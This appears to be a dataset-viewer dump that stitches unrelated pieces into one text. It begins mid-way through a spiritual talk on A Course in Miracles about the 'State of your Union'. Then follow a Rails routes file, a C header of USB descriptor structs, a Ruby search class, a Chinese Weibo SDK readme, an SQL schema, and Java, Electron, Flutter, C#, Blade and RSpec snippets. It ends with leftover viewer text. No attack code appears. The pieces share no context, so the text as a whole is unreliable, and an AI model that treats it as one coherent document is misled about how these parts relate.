the lessons, the blessings of liberty” for each and every one of us, “to
ourselves and our posterity, do ordain and establish this Constitution,”
this set of rules that supports, what? Our union. Our honoring our
humanity. Our addressing our human needs because we care, because the
support of each other is of paramount importance, and we know this from
experience of not having had it.”
The People, whether they are the People of the United States of America,
or the People of Czechoslovakia, or the People of England, or the People
of any country in the world, these are the ones … YOU are the ones
who need to stand together in terms of your dignity and your worth and
your deserving of every good thing that procures peace and blessing and
harmony and tranquility and safety. You’re already the largest presence
of “We the People”—every single one of you on the globe!
Now, I know that many, many, many of you wake up in the morning
wondering what harmful, hurtful news might confront you today. This is
anywhere in the world. And in some places the onslaught of negativity
seems greater than others. And the feeling is discouragement. And the
question arises, [sarcastic chuckle] “Well, what can I do? What can puny
little me do?” And the question is an expression of hopelessness.
And yet if you understood—I’m going to say, your position—if you
understood that government is self-government and no one else is
actually forcing you to behave in a self-demeaning way, you will wake up
in the morning and you will say, “What can I do?” And because that is
the question to be asking, not avoiding, you will ask it of what? Of
yourself? Of the one you think you are at the moment? Of the downtrodden
one who has no capacity? No, you ask of the Holy Spirit or you ask of
God. You ask of That Which Knows, because you are not the puny piss ant
mortal that you’ve taught yourself to be, or others have bullied you
into being. You are the holy Son or Daughter of God and, therefore, you
have a right and an obligation to ask, “What can I do?” expecting that
there is an answer to the question, a resolving answer to the question.
Now I have shared the statement before that, “You are neither behind the
point of perfection, nor advancing toward it. You are at that point and
must understand yourself therefrom.” So you see, you can’t start from a
standpoint of a downtrodden, mistreated, abused, exhausted entity who
has no choice. That isn’t what you Are. That’s what you think you are,
that’s what you have come to believe you are. But your belief hasn’t
changed what you divinely Are—the Expression of God.
Now, in the Bible John said, “Now are we the Sons of God.”[^1] And I will
say, “Now, are we the Sons and Daughters of God.” And it does not yet
appear what we shall be. In other words, the future is not relevant.
“Now are we the Sons of God and it does not yet appear what we shall be.
But we know that when he—meaning the Christ—shall appear we shall be
like him, for we shall see him as he is. And every man that hath this
hope in him purifieth himself daily, even as he is pure.” What’s that
mean, even as he is pure, even as he is now pure? Because now are we the
Sons of God and now we must understand ourselves in that true light.
You are not governed by those who claim to govern you. If those who
claim to govern you are succeeding, it is because you are yielding your
integrity up in favor of an integrity you are giving to the one in
control. And you are not required to do that. In fact, if you want to
experience your joy, you’re going to have to realize that you have
another option. And then you are going to have to engage in taking hold
of it by sincerely asking of the Holy Spirit, “What do I need to know?”
If the Holy Spirit is nothing more than your right Mind, in other words,
You in your right Mindedness rather than your belief of being something
puny, inconsequential, mistreated and unable to do anything about it,
when you are willing to engage with That of You which cannot be
destroyed and has never gone anywhere, in other words, your right Mind,
your Sanity, when you engage with It the Truth is revealed to you by It.
And we’ve talked about this before, but I need to keep bringing it up.
Very often, students of *A Course In Miracles* will say, “Well, I just
turn it over to the Holy Spirit. You know, it’s like I put the slip of
paper with my need on it, I put it in the Holy Spirit’s inbox and
leave it there for the Holy Spirit to take care of.” Well, that isn’t
effective. That isn’t the way it works because you misunderstand what
the Holy Spirit is. If the Holy Spirit—as it says in the Course—is
nothing more than your right Mind, then when you turn it over to the
Holy Spirit you are bringing your attention to the Holy Spirit and you
are saying, “Show me the Truth. Reveal to me the Truth that you have
been holding in trust for me while I have been believing I have been an
ego downtrodden and bullied and controlled by others whom I can’t do
anything about.”
So, this sense of self that you are currently experiencing brings its
attention to That of You which is your divine Sanity, which is
ever-present with you because you can’t be separated from It. And in
listening rather than just leaving it in the Holy Spirit’s inbox, by
listening, you engage the function of the Holy Spirit, which is to
connect with you in your present limited sense of yourself and reveal to
you the divine one that you Are, uncovering to you your capacity to see
what is Real and what isn’t, as well as, revealing to you how to behave
in the circumstances you seem to be in, so that you become free.
When you are miserable, when you are frightened, when you feel as though
things are in control of you that you have no control over, this is
exactly the time that you need to be humble enough to say to yourself,
“I don’t have all the answers. I don’t know enough to come to any
conclusions here, especially ones that immobilize me and cause me to
continue to feel hopeless and, therefore, I will reach outside of my
incapacity and ask the Father or ask the Holy Spirit to reveal the Truth
to me.”
Now, the Truth that’s going to be revealed isn’t going to be a string of
words, it isn’t going to be platitudes, it isn’t going to be sharp,
wonderful rejoinders that nail the opposition. No. The answers are going
to be meanings felt by you, constituting an experiential understanding,
not an intellectual one in which it’s clear to you that whatever a bully
is engaged in, whatever bad behavior people are engaged in, it’s
behavior that is occasioned by their being backed into a corner of
helplessness and hopelessness that calls for them to defend themselves
by any means possible, which comes out as bullying or lying or any form
of self-defense that is critical and mean-spirited. You see?
And oh-h, there comes an awareness of Brotherhood because you can
understand feeling that way, and you can understand having responded
with mean-spirited retorts or actions, even though you may not have
adopted that as a style of being. And so, there is room for compassion,
while at the same time being aware that the behavior has to be stopped,
the controlling, the lying, the arrogance and on and on has to stop. But
of course, that’s where the fear comes and the feeling is, “What can I
do? I don’t know how to cope with this.” And when you say that, you’re
saying, “I not only don’t have any comprehension of what to do, I am in
such a vulnerable place that I don’t want to take the time to find out,
because if I do, I will have to stop defending myself. And that’s more
important.”
And yet, once again, when you pay attention to what’s revealed, such as,
the fact that the one who is behaving badly is behaving that way because
he or she feels cornered, stuck, out of control, vulnerable and must
bring every ounce of personal energy forth to defend himself or herself,
you must ask, “What does it take to provide that which will cause that
one to be willing to lower his or her defenses?”
You see, under the circumstances you seem to be called to bring into
play the very abuse that you’re suffering from as a form of
self-defense, but of course, that isn’t the you that is the Son or
Daughter of God, at least not the realized one. And yet you are the Son
or Daughter of God. And I’m here to remind you of that. And you need
under the circumstances to remind yourself as well, because that’s the
only thing that will suffice to cause you to shift gears.
You’re always giving voice to one of the two teachers: the Voice for
Truth or the voice for fear. It’s your Function, it’s your joy, it’s
your healing to give voice to the Voice for Truth and it is your
Brother’s healing as well.
Now, are you the Sons and Daughters of God, and it does not yet appear
what you shall be: but now you are the Sons and Daughters of God and you
know that when He—the Son of God—shall appear in your Brother or Sister
you shall be like Him; for you will see Him as He is. How will you see
Him as He is? By abandoning your inclination to be in self-defense and
bully back, and asking to know what is the Truth here so that you might
feel your Brotherhood, your equality, your capacities to feel all of the
same important things. And when you hold your Brother in that Vision,
you will see Him as He is and you will be like Him and that will make it
possible for Him to see Himself in You. That’s the way it works.
Part of this, an inseparable part of this union, this Brotherhood that
already exists and has existed from the beginning is the fact that as
you see the Truth of another you say, “No, to that which doesn’t reflect
the Truth.” But you do not do it in the form of attack, you do it in the
form of guided education, letting the Expression of Truth that comes out
of your mouth be guided by your connection with the Holy Spirit. You’re
turning it over to the Holy Spirit and standing attentive in front of
the Holy Spirit waiting the Holy Spirit’s response which is really your
natural, inherent divine wisdom, which it is not only your Birthright to
give Expression to, it’s what your Brother deserves because it is that
which heals.
Now, there is cause for rejoicing because you have a way out of the
dilemma, and it’s a way that will involve you that will, for lack of
better words, grow you into a fuller experience of what you divinely
Are, which is a joyful experience. But it unavoidably constitutes
involvement with your Brother saying, “Yes,” to Truth and “No,” to
illusion and providing the clarity that shows the difference in a way
that has the optimal chance of being understood because you’re not doing
it with an edge of anger, or an edge of superiority, but from a place of
Brotherly equality that Brothers and Sisters everywhere can recognize
even if they can’t immediately trust it, because they’re feeling too
vulnerable still.
So, the State of the Union can’t just be expressed as the State of THE
Union, it’s not the Union of the thirteen colonies, it’s not the Union
of Fifty States. It’s the Union of mankind, the Union of all that it
truly means to be human and embracing everyone in the Truth of the
humanity of every single Individuality on your planet and other places.
So, it is not what is the State of the Union, it’s what is the State of
your Union? What is the State of your Union? Well, your Union with what?
Your Union with each other. Well, the nature of your Union is
established. “Now are we the Sons of God.” “You are neither behind the
point of perfection nor advancing toward it.” The State of your Union is
established fully, completely, unalterably. The State of your Union is
secure. Your Union with your Brothers and Sisters was established by God
in the act of Creation, or let us say, it is established forever in the
now, in the act, the Movement of Creation which is forever new.
The State of your Union is indivisible. “Now are you the Sons of God.”
It was established indivisible because God is indivisible. And because
it is indivisible it is incapable of being fragmented. Now you all have
experience of fragmentation, but it is only through the use of your
imagination that you have been able to concoct such a discombobulating
[chuckling] frightening experience, but it is an illusion.
The Union of the Brotherhood of Man, the Sisterhood of Women, the
Brotherhood and Sisterhood is indivisible, unfragmented, whole, full of
integrity.
Now, this is what you must get up in the morning and have as your
perspective. This must be your perspective when you turn on the
television or pick up the newspaper. This must be your perspective when
you find yourself being curious to see what god awful thing so-and-so is
doing today, watch the curiosity to see how bad things can get so that
you may self-righteously cluck about it. Because in so doing, you’re
playing the orphan, you’re being an independent. You are not joined with
the Holy Spirit to want to know what the Truth is and, therefore, you
are caught in that place where abuse can happen and you will feel no
escape from it because you have an investment in seeing the awfulness of
so-and-so. And you are looking from that perspective. You only have two
perspectives available to you, the separatist perspective or the joined
perspective.
Wayne Dyer referred to the ego as, “That which edges God out.” If you
don’t want to be miserable, then when you get up in the morning, be
alert and make sure that you have not slipped into the attitude where
you are edging God out. And be careful when you turn on the TV that
you’re not going there to find justification for edging God out. And
instead desire to know the Truth of the Holy Spirit which is the Voice
for Truth, the Voice for God, so that you might know what to say, “No”
to without anger or self-righteousness or superiority, but that which to
say, “No” to because it simply is not the Truth and you are not willing
to invest any emotional energy into it. It simply isn’t True. It,
therefore, is an illusion, it therefore, is meaningless, it requires you
to do nothing except not accept it and say, “No.” Vote, “No.”
The good news is, nobody is governing you no matter where you are on the
globe except the choice of perspective you are choosing to use and
that’s what governs your experience, that’s what governs your actions.
The answer is: the State of your Union was established in the beginning.
The Union of the Brotherhood at this moment is ultimate. Choose for It!
Choose for what will uncover it, where it’s hidden with grace, not with
permissiveness—with grace. No, stated with grace is adamant. Yes, said
with grace is felt as Love and paves the way for transformation.
It is time on the globe for every single individual to embrace his
humanity. And his humanity is a Wholeness in which all of the Sons and
Daughters of God are held safely. And it’s the task of everyone to
choose to be the people who wish to form a perfect Union for each and
every one of us, to establish justice for each and every one of us, to
insure domestic tranquility for each and every one of us—each and every
one of us everywhere on the globe—which promotes the general welfare of
every single one of us. That’s where things are right now. It’s where
things have been for as long as the dream of mortality has been engaged
in.
I am here to do for and with you what you are here to do for and with
each other. You’re not always kind to me. You do not always speak well
of me. You sometimes do not like me at all. But that’s irrelevant
because your distress is caused by your very narrow perspective and not
by our relationship. And the same thing is true with your fellowman. And
no matter how difficult it seems it will be to make a difference, that’s
nothing more than your conditioning. Because the simple act of the
two-step, of going into the holy instant and shutting up all the mind
chatter that gets you fouled up so that in the silence you can say,
“Father,” or, “Holy Spirit, what is the Truth here?” That is exactly the
means to have the revelation that undoes the illusion and causes you no
longer to be confused by it, distracted by it, incapable of acting. And
in the clarity of your mind and heart and soul you can feel the Truth,
experience the Truth that there is no way for your Brother or Sister to
be excluded from. And that changes you into, we’ll say, a new Being that
heals and transforms. And you will learn to persist with this and
rejoice in it instead of it being reduced to a huddled mass of quivering
fear because you’ve taken the bait, hook, line and sinker and forgotten
that you have a choice.
Again, the State of your Union is established. It’s secure. It’s
indivisible, incapable of being fragmented. And it’s at peace and it’s
glorious.
I love you very much. And I look forward to being with you next time.
[^1]: Bible: 1 John 3:2-3
|
Dummy::Application.routes.draw do
mount HumanPower::Rails::Engine => "robots.txt"
get "sitemap.xml" => "nothing#here", as: :sitemap
get "admin" => "nothing#here", as: :admin
get "login" => "nothing#here", as: :login
resources :products
end
|
#ifndef __usb_descr_h__
#define __usb_descr_h__
#include <stdint.h>
#include "usb.h"
typedef struct _usb_decriptor_header_t
{
uint8_t bLength;
uint8_t bDescriptorType;
} __attribute__ ((packed)) usb_descriptor_header_t;
typedef struct _usb_configuration_descriptor_t
{
uint8_t bLength;
uint8_t bDescriptorType;
uint16_t wTotalLength;
uint8_t bNumInterfaces;
uint8_t bConfigurationValue;
uint8_t iConfiguration;
uint8_t bmAttributes;
uint8_t bMaxPower;
} __attribute__ ((packed)) usb_configuration_descriptor_t;
typedef struct _usb_interface_descriptor_t
{
uint8_t bLength;
uint8_t bDescriptorType;
uint8_t bInterfaceNumber;
uint8_t bAlternateSetting;
uint8_t bNumEndpoints;
uint8_t bInterfaceClass;
uint8_t bInterfaceSubClass;
uint8_t bInterfaceProtocol;
uint8_t iInterface;
} __attribute__ ((packed)) usb_interface_descriptor_t;
typedef struct _usb_endpoint_descriptor_t
{
uint8_t bLength;
uint8_t bDescriptorType;
uint8_t bEndpointAddress;
uint8_t bmAttributes;
uint16_t wMaxPacketSize;
uint8_t bInterval;
} __attribute__ ((packed)) usb_endpoint_descriptor_t;
struct usb_audio_endpoint_descriptor
{
uint8_t bLength;
uint8_t bDescriptorType;
uint8_t bEndpointAddress;
uint8_t bmAttributes;
uint16_t wMaxPacketSize;
uint8_t bInterval;
uint8_t bRefresh;
uint8_t bSynchAddress;
} __attribute__ ((packed));
typedef struct _usb_string_descriptor_t
{
uint8_t bLength;
uint8_t bDescriptorType;
uint8_t bString[];
} __attribute__ ((packed)) usb_string_descriptor_t;
typedef struct _usb_interface_association_descriptor_t
{
uint8_t bLength;
uint8_t bDescriptorType;
uint8_t bFirstInterface;
uint8_t bInterfaceCount;
uint8_t bFunctionClass;
uint8_t bFunctionSubClass;
uint8_t bFunctionProtocol;
uint8_t iFunction;
} __attribute__ ((packed)) usb_interface_association_descriptor_t;
typedef struct _usb_header_functional_descriptor_t
{
uint8_t bFunctionLength;
uint8_t bDescriptorType;
uint8_t bDescriptorSubtype;
uint16_t bcdCDC;
} __attribute__ ((packed)) usb_header_functional_descriptor_t;
typedef struct _usb_call_management_functional_descriptor_t
{
uint8_t bFunctionLength;
uint8_t bDescriptorType;
uint8_t bDescriptorSubtype;
uint8_t bmCapabilities;
uint8_t bDataInterface;
} __attribute__ ((packed)) usb_call_management_functional_descriptor_t;
typedef struct _usb_acm_functional_descriptor_t
{
uint8_t bFunctionLength;
uint8_t bDescriptorType;
uint8_t bDescriptorSubtype;
uint8_t bmCapabilities;
} __attribute__ ((packed)) usb_acm_functional_descriptor_t;
typedef struct _usb_union_interface_functional_descriptor_t
{
uint8_t bFunctionLength;
uint8_t bDescriptorType;
uint8_t bDescriptorSubtype;
uint8_t bMasterInterface0;
uint8_t bSlaveInterface0;
} __attribute__ ((packed)) usb_union_interface_functional_descriptor_t;
typedef struct _usb_class_specific_ac_interface_header_10_t
{
uint8_t bLength;
uint8_t bDescriptorType;
uint8_t bDescriptorSubtype;
uint16_t bcdADC;
uint16_t wTotalLength;
uint8_t bInCollection;
uint8_t baInterfaceNr[];
} __attribute__ ((packed)) usb_class_specific_ac_interface_header_10_t;
typedef struct _usb_class_specific_ac_interface_header_20_t
{
uint8_t bLength;
uint8_t bDescriptorType;
uint8_t bDescriptorSubtype;
uint16_t bcdADC;
uint8_t bCategory;
uint16_t wTotalLength;
uint8_t bmControls;
} __attribute__ ((packed)) usb_class_specific_ac_interface_header_20_t;
typedef struct _usb_clock_source_descriptor_t {
uint8_t bLength;
uint8_t bDescriptorType;
uint8_t bDescriptorSubtype;
uint8_t bClockID;
uint8_t bmAttributes;
uint8_t bmControls;
uint8_t bAssocTerminal;
uint8_t iClockSource;
} __attribute__ ((packed)) usb_clock_source_descriptor_t;
struct uac1_input_terminal_descriptor {
uint8_t bLength;
uint8_t bDescriptorType;
uint8_t bDescriptorSubtype;
uint8_t bTerminalID;
uint16_t wTerminalType;
uint8_t bAssocTerminal;
uint8_t bNrChannels;
uint16_t wChannelConfig;
uint8_t iChannelNames;
uint8_t iTerminal;
} __attribute__ ((packed));
typedef struct _usb_input_terminal_descriptor_t {
uint8_t bLength;
uint8_t bDescriptorType;
uint8_t bDescriptorSubtype;
uint8_t bTerminalID;
uint16_t wTerminalType;
uint8_t bAssocTerminal;
uint8_t bCSourceID;
uint8_t bNrChannels;
uint32_t bmChannelConfig;
uint8_t iChannelNames;
uint16_t bmControls;
uint8_t iTerminal;
} __attribute__ ((packed)) usb_input_terminal_descriptor_t;
struct uac1_output_terminal_descriptor {
uint8_t bLength;
uint8_t bDescriptorType;
uint8_t bDescriptorSubtype;
uint8_t bTerminalID;
uint16_t wTerminalType;
uint8_t bAssocTerminal;
uint8_t bSourceID;
uint8_t iTerminal;
} __attribute__ ((packed));
typedef struct _usb_output_terminal_descriptor_t {
uint8_t bLength;
uint8_t bDescriptorType;
uint8_t bDescriptorSubtype;
uint8_t bTerminalID;
uint16_t wTerminalType;
uint8_t bAssocTerminal;
uint8_t bSourceID;
uint8_t bCSourceID;
uint16_t bmControls;
uint8_t iTerminal;
} __attribute__ ((packed)) usb_output_terminal_descriptor_t;
struct uac1_as_header_descriptor {
uint8_t bLength;
uint8_t bDescriptorType;
uint8_t bDescriptorSubtype;
uint8_t bTerminalLink;
uint8_t bDelay;
uint16_t wFormatTag;
} __attribute__ ((packed));
typedef struct _usb_class_specific_as_interface_descriptor_t {
uint8_t bLength;
uint8_t bDescriptorType;
uint8_t bDescriptorSubtype;
uint8_t bTerminalLink;
uint8_t bmControls;
uint8_t bFormatType;
uint32_t bmFormats;
uint8_t bNrChannels;
uint32_t bmChannelConfig;
uint8_t iChannelNames;
} __attribute__ ((packed)) usb_class_specific_as_interface_descriptor_t;
struct uac1_format_type_i_discrete_descriptor {
uint8_t bLength;
uint8_t bDescriptorType;
uint8_t bDescriptorSubtype;
uint8_t bFormatType;
uint8_t bNrChannels;
uint8_t bSubframeSize;
uint8_t bBitResolution;
uint8_t bSamFreqType;
uint8_t tSamFreq[];
} __attribute__ ((packed));
typedef struct _usb_format_type_i_decriptor_t {
uint8_t bLength;
uint8_t bDescriptorType;
uint8_t bDescriptorSubtype;
uint8_t bFormatType;
uint8_t bSubslotSize;
uint8_t bBitResolution;
} __attribute__ ((packed)) usb_format_type_i_decriptor_t;
struct uac1_iso_endpoint_descriptor {
uint8_t bLength;
uint8_t bDescriptorType;
uint8_t bDescriptorSubtype;
uint8_t bmAttributes;
uint8_t bLockDelayUnits;
uint16_t wLockDelay;
} __attribute__ ((packed));
typedef struct _usb_class_specific_as_iso_endpoint_descriptor_t {
uint8_t bLength;
uint8_t bDescriptorType;
uint8_t bDescriptorSubtype;
uint8_t bmAttributes;
uint8_t bmControls;
uint8_t bLockDelayUnits;
uint16_t wLockDelay;
} __attribute__ ((packed)) usb_class_specific_as_iso_endpoint_descriptor_t;
typedef struct _usb_device_descriptor_t
{
uint8_t bLength;
uint8_t bDescriptorType;
uint16_t bcdUSB;
uint8_t bDeviceClass;
uint8_t bDeviceSubClass;
uint8_t bDeviceProtocol;
uint8_t bMaxPacketSize0;
uint16_t idVendor;
uint16_t idProduct;
uint16_t bcdDevice;
uint8_t iManufacturer;
uint8_t iProduct;
uint8_t iSerialNumber;
uint8_t bNumConfigurations;
} __attribute__ ((packed)) usb_device_descriptor_t;
typedef struct _usb_qualifier_descriptor_t
{
uint8_t bLength;
uint8_t bDescriptorType;
uint16_t bcdUSB;
uint8_t bDeviceClass;
uint8_t bDeviceSubClass;
uint8_t bDeviceProtocol;
uint8_t bMaxPacketSize0;
uint8_t bNumConfigurations;
uint8_t bReserved;
} __attribute__ ((packed)) usb_qualifier_descriptor_t;
typedef struct _usb_hub_descriptor_t
{
uint8_t bLength;
uint8_t bDescriptorType;
uint8_t bNbrPorts;
uint16_t wHubCharacteristics;
uint8_t bPwrOn2PwrGood;
uint8_t bHubContrCurrent;
} __attribute__ ((packed)) usb_hub_descriptor_t;
static inline uint8_t usb_get_iep(const usb_endpoint_descriptor_t *ep_desc)
{
return ep_desc->bEndpointAddress & 0x0f;
}
usb_string_descriptor_t *usb_alloc_string_desc(const char *str);
void usb_descr_for_each_ep(usb_configuration_descriptor_t *config_descr,
void (*op)(usb_endpoint_descriptor_t *, void *), void *ctx);
#endif /* __usb_descr_h__ */
|
class LocationsSearch
include ActiveData::Model
PAGE = 1
PER_PAGE = 30
attribute :zipcode, type: String
attribute :keywords, type: String
attribute :org_name, type: String
attribute :category_ids, type: Array
attribute :tags, type: String
attribute :page, type: String
attribute :per_page, type: String
def index
LocationsIndex
end
def search
search_results.page(fetch_page).per(fetch_per_page)
end
private
def search_results
# Order matters
[
organization_filter,
tags_query,
keyword_filter,
zipcode_filter,
category_filter,
order
].compact.reduce(:merge)
end
def order
index.order(
featured_at: { missing: "_last", order: "asc" },
covid19: { missing: "_last", order: "asc" },
updated_at: { order: "desc" }
)
end
def tags_query
if tags?
index.query(multi_match: {
query: tags,
fields: %w[tags],
analyzer: 'standard',
fuzziness: 'AUTO'
})
end
end
def category_filter
if category_ids?
index.filter(
terms: {
category_ids: category_ids
}
)
end
end
def zipcode_filter
# NOTE: I think we also need to consider location's coordinates and its radius.
# Because some of our specs are using these scenarios too.
if zipcode?
index.filter(match: {
zipcode: zipcode
})
end
end
def keyword_filter
if keywords?
index.query(multi_match: {
query: keywords,
fields: %w[organization_name^3 name^2 description^1 keywords],
analyzer: 'standard',
fuzziness: 'AUTO'
})
end
end
def organization_filter
if org_name?
index.filter(match_phrase: {
organization_name: org_name
})
end
end
def fetch_page
page.presence || PAGE
end
def fetch_per_page
per_page.presence || PER_PAGE
end
end
|
export { default as Sidebar } from './side_bar.svelte'
export { default as SidebarController } from './controller'
// export{Sidebar, SidebarController}
// export default Sidebar
|
# ReadMe
为了方便第三方开发者快速集成微博 SDK,我们提供了以下联系方式,协助开发者进行集成:
**QQ群:284084420(此群已满)**
**263989257(IOS 请加此群)**
**邮箱:[email protected]**
**微博:移动新技术**
另外,关于SDK的Bug反馈、用户体验、以及好的建议,请大家尽量提交到 Github 上,我们会尽快解决。
目前,我们正在逐步完善微博 SDK,争取为第三方开发者提供一个规范、简单易用、可靠、可扩展、可定制的 SDK,敬请期待。
# 概述
微博 IOS 平台 SDK 为第三方应用提供了简单易用的微博API调用服务,使第三方客户端无需了解复杂的验证机制即可进行授权登陆,并提供微博分享功能,可直接通过微博官方客户端分享微博。
#API文档
[http://sinaweibosdk.github.io/weibo_ios_sdk/index.html](http://sinaweibosdk.github.io/weibo_ios_sdk/index.html)
# 名词解释
| 名词 | 注解 |
| -------- | :----- |
| AppKey | 分配给每个第三方应用的 app key。用于鉴权身份,显示来源等功能。|
| RedirectURI | 应用回调页面,可在新浪微博开放平台->我的应用->应用信息->高级应用->授权设置->应用回调页中找到。|
| AccessToken | 表示用户身份的 token,用于微博 API 的调用。|
| Expire in | 过期时间,用于判断登录是否过期。|
# 功能列表
### 1. 认证授权
为开发者提供 Oauth2.0 授权认证,并集成 SSO 登录功能。
### 2. 微博分享
从第三方应用分享信息到微博,目前只支持通过微博官方客户端进行分享。
### 3. 登入登出
微博登入按钮主要是简化用户进行 SSO 登陆,实际上,它内部是对 SSO 认证流程进行了简单的封装。
微博登出按钮主要提供一键登出的功能,帮助开发者主动取消用户的授权。
### 4. 好友邀请
好友邀请接口,支持登录用户向自己的微博互粉好友发送私信邀请、礼物。
### 5.OpenAPI通用调用
OpenAPI通用调用接口,帮助开发者访问开放平台open api(http://open.weibo.com/wiki/微博API)
# 适用范围
使用此SDK需满足以下条件:
- 在新浪微博开放平台注册并创建应用
- 已定义本应用的授权回调页
- 已选择应用为IOS平台,并正确填写Bundle id和appple id
注: 关于授权回调页对移动客户端应用来说对用户是不可见的,所以定义为何种形式都将不影响,但是没有定义将无法使用SDK认证登录。建议使用默认回调页 https://api.weibo.com/oauth2/default.html
|
--
-- lo schema default per H2 è PUBLIC
--
CREATE TABLE PERIODO (
PERID INTEGER GENERATED BY DEFAULT AS IDENTITY,
PERANNOCOMP VARCHAR(4),
PERDESCR VARCHAR(100) NOT NULL,
PERNOTE VARCHAR(255),
PERQUOTA DECIMAL(10, 2) NOT NULL,
PERQUOTARID DECIMAL(10, 2) NOT NULL,
PRIMARY KEY (PERID));
CREATE TABLE QUOTA (
QUOID INTEGER GENERATED BY DEFAULT AS IDENTITY,
QUOSOID INT NOT NULL,
QUOPERID INT NOT NULL,
QUOFLAG CHAR(1),
QUONOTE VARCHAR(255),
QUOPAG DECIMAL(10, 2) NOT NULL,
QUODATAGADGET DATE,
PRIMARY KEY (QUOID));
CREATE INDEX QUOIDXSO ON QUOTA (QUOSOID);
CREATE INDEX QUOIDXPER ON QUOTA (QUOPERID); |
package com.jiang.graph.controller;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class BaseController {
protected Logger log = LoggerFactory.getLogger(getClass());
}
|
module Resugan
class Context
def initialize(namespace = '')
@namespace = namespace.to_s
@events = {}
end
def namespace
@namespace
end
def register(event, params = {})
event = event.to_sym
payload = { params: params }
if @events[event]
@events[event] << payload
else
@events[event] = [payload]
end
end
def invoke
dispatcher = Resugan::Kernel.dispatcher_for(@namespace)
dispatcher.dispatch(@namespace, @events)
end
def dump
@events
end
end
end
|
"use strict";
var _electron = require("electron");
_electron.remote.require('./lib/proxy'); |
import 'package:flutter/material.dart';
import 'package:flutter_bloc/flutter_bloc.dart';
import 'package:talao/app/interop/secure_storage/secure_storage.dart';
import 'package:talao/app/shared/widget/base/button.dart';
import 'package:talao/app/shared/widget/base/page.dart';
import 'package:talao/l10n/l10n.dart';
import 'package:talao/onboarding/key/onboarding_key.dart';
import 'package:talao/onboarding/onboarding.dart';
class ChooseWalletTypePage extends StatefulWidget {
static Route route() => MaterialPageRoute(
builder: (context) => BlocProvider<ChooseWalletTypeCubit>(
create: (_) => ChooseWalletTypeCubit(SecureStorageProvider.instance),
child: ChooseWalletTypePage(),
),
settings: RouteSettings(name: '/onBoardingChooseWalletTypePage'),
);
const ChooseWalletTypePage({Key? key}) : super(key: key);
@override
_ChooseWalletTypePageState createState() => _ChooseWalletTypePageState();
}
class _ChooseWalletTypePageState extends State<ChooseWalletTypePage> {
@override
Widget build(BuildContext context) {
final l10n = context.l10n;
return WillPopScope(
onWillPop: () async => false,
child: BasePage(
title: l10n.walletType,
backgroundColor: Theme.of(context).colorScheme.surface,
scrollView: false,
body: Center(
child: Column(
mainAxisSize: MainAxisSize.min,
children: [
Expanded(
child: Column(
mainAxisAlignment: MainAxisAlignment.center,
crossAxisAlignment: CrossAxisAlignment.stretch,
children: <Widget>[
Text(
l10n.createPersonalWalletTitle,
textAlign: TextAlign.center,
style: Theme.of(context).textTheme.subtitle1,
),
const SizedBox(height: 32.0),
Text(
l10n.createPersonalWalletText,
textAlign: TextAlign.center,
style: Theme.of(context).textTheme.bodyText1,
),
const SizedBox(height: 20.0),
BaseButton.primary(
context: context,
onPressed: () {
context
.read<ChooseWalletTypeCubit>()
.onChangeWalletType(WalletTypes.personal);
Navigator.of(context).push(OnBoardingKeyPage.route());
},
child: Text(l10n.createPersonalWalletButtonTitle),
),
],
),
),
Expanded(
child: Column(
mainAxisAlignment: MainAxisAlignment.center,
crossAxisAlignment: CrossAxisAlignment.stretch,
children: <Widget>[
Text(
l10n.createEnterpriseWalletTitle,
textAlign: TextAlign.center,
style: Theme.of(context).textTheme.subtitle1,
),
const SizedBox(height: 32.0),
Text(
l10n.createEnterpriseWalletText,
textAlign: TextAlign.center,
style: Theme.of(context).textTheme.bodyText1,
),
const SizedBox(height: 20.0),
BaseButton.primary(
context: context,
onPressed: () {
context
.read<ChooseWalletTypeCubit>()
.onChangeWalletType(WalletTypes.enterprise);
Navigator.of(context)
.push(SubmitEnterpriseUserPage.route());
},
child: Text(l10n.createEnterpriseWalletButtonTitle),
),
],
),
),
],
),
),
),
);
}
}
|
using System.Linq;
using Microsoft.VisualStudio.TestTools.UnitTesting;
using SqlNado.Utilities;
namespace SqlNado.Tests
{
[TestClass]
public class Dictionary
{
[TestMethod]
public void PersistentDictionary_create()
{
using (var dic = new PersistentDictionary<string, int>())
{
int max = 10;
for (int i = 0; i < max; i++)
{
dic[i.ToString()] = i;
}
Assert.AreEqual(dic.Count, max);
dic.Clear();
Assert.AreEqual(dic.Count, 0);
}
}
[TestMethod]
public void PersistentDictionary_typedCreated()
{
using (var dic = new PersistentDictionary<string, object>())
{
int max = 10;
for (int i = 0; i < max; i++)
{
dic[i.ToString()] = i;
}
Assert.AreEqual(dic.Count, max);
CollectionAssert.AllItemsAreInstancesOfType(dic.Values.ToArray(), typeof(int));
dic.Clear();
Assert.AreEqual(dic.Count, 0);
}
}
}
}
|
@include('frontend.partials.header')
<div class="wrapper-blog">
<div id="content-con">
<div class="maincontent">
<div id="primary">
@yield('content')
</div>
<!-- primary -->
</div>
<!-- maincontent -->
</div>
@include('frontend.partials.left-sidebar')
@include('frontend.partials.right-sidebar')
<!-- content-con -->
</div>
<!-- wrapper-blog -->
@include('frontend.partials.footer')
|
require "rails_helper"
RSpec.feature "mock creation", :type => :feature, :js => true do
scenario "User creates a new mock" do
visit '/'
fill_in 'mock_body', with: "{'hello':'world'}"
click_button 'Create mock now!'
expect(page).to have_content 'Mock created successfully'
end
end
|
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.